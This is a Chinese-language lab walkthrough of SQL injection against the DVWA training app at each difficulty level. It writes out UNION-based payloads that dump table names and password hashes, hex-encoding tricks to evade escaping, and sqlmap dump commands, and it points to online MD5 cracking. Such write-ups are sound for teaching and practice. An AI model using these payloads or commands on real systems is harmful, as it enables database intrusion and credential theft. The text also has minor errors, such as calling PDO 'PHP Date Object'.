DVWA之SQL Injection(含sqlmap使用)
判断是否存在注入的方法:在输入框输入 1’
Select * from xxxx where id =1’
Select * from xxxx where id =’1’’
无论是整型还是字符型此时都会报错,说明存在注入点
一.等级:LOW
(一)分类
1.整型
测试如下:
此时界面结果显示一致,说明并非整型
select * from xxx where id=1 and 1=2
若为整型,说明sql语句不成立,会报错
2.字符型
在输入框输入“1’ and ‘1’=’1”
当输入“1’ and ‘1’=’2”时出现如下情况
我们对比发现
Select * from xx where id ‘1’ and ‘1’=’1’
Select * from xx where id ‘1’ and ‘1’=’2’
说明and起作用了,即为字符型。
字符型一般够造闭合的方法有两种:
一是直接加#,如 1’and 1=1 #
二是 加上 – space(空格)
(二)注入
1.判断列的长度
判断长度通过二分法判断
Order by xxx
这里是字符型,用1’order by xxx#,用100进行测试
50测试
…
我们发现,当我们测试到2时,出现如下界面,表示成功,说明有2个字段
2.页面回显点
根据我们刚刚判断的结果,有2个字段,进行联合查询
Union select 1,2#
找到回显位置以后,我们通过替换来查找我们需要的数据库版本以及数据库名
-1’ union select version(),database()#
这里我们得到数据库版本以及数据库名。
注:information_schema.schemata 数据库相关信息
Schema_name 库名
Information_schema.tables 数据库的相关信息
Table_schema 数据库所在库名
Information_schema.columns 列相关信息
Column_name 字段名
(1)爆库名
1’ and 1=2 union select 1,database()#
(2)爆表名(users)
group_concat 我理解为将同一类并列表示,详情见
https://www.cnblogs.com/baizhanshi/p/10918711.html
1’ and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’dvwa’#
(3)爆字段名(password)
1’ and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table schema=’dvwa’ and table name=’admin’#
(4)拿字段值
1’ and 1=2 union select user.password from users#
获取到的密码去www.cmd5.com解密
SQL查询时出现错误 “Illegal mix of collations for operation ‘UNION’”
使用十六进制进行读取,随后解码
例如:1’ and 1=2 union select 1,hex(column_name) from information_schema.columns where table schema=’dvwa’ and table name=’admin’#
二.等级:medium
查看源码发现,又这样一句话,mysql_real_escape_string,这个函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:
\x00 \n \r \ ’ " \x1a
那我们换这样的注入方式 只要不用’就行。这里我们提供两种思路,一是使用原始的方法
我们发现无法提交语句,借助Burpsuite来完成操作,将抓到的包发送到Repeater
同前面的方法一样,判断sql注入的类型,找到回显点等信息
(1)查询类型
说明为整型注入
(2)查看数据库名称
1 union select version(),database()
(3)查看表名
这里进行十六进制转换
1 union select 1,hex(table_name) from information_schema.tables where table_schema=database()
(4)查找字段名
database()也可以换成dvwa的十六进制ASCII码,users进行转换为0x750x730x650x720x73(去掉除第一个以外的0x)
1 union select 1,hex(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273
(5)查询密码
1 union select user,password from users
放置MD5在线加解密网站进行解密
二是使用slqmap,将bp抓的包防止桌面存档
(1)查看当前数据库名
sqlmap.py -r C:\Users\13308\Desktop\1.txt --current-db
(2)查看当前表名
sqlmap.py -r C:\Users\13308\Desktop\1.txt --batch -D dvwa -tables
(3)查看字段名
sqlmap.py -r C:\Users\13308\Desktop\1.txt --batch -D dvwa -T users -columns
(4)查看密码
sqlmap.py -r C:\Users\13308\Desktop\1.txt --batch -D dvwa -T users -dump
或者
sqlmap.py -r C:\Users\13308\Desktop\1.txt --batch -D dvwa -T users -C "user,password" -dump
三.等级:high
通过观察源代码,我们发现多了一个LIMIT 1,只需将它注释掉即可,使用#,其使用方法和上述方法一样。
1' union select user,password from users #
MD5解码。
四.等级:impossible
顾名思义,注入是不能够轻易实现的,我们通过观察也可以发现,这里使用了PDO技术。
PDO--------PHP Date Object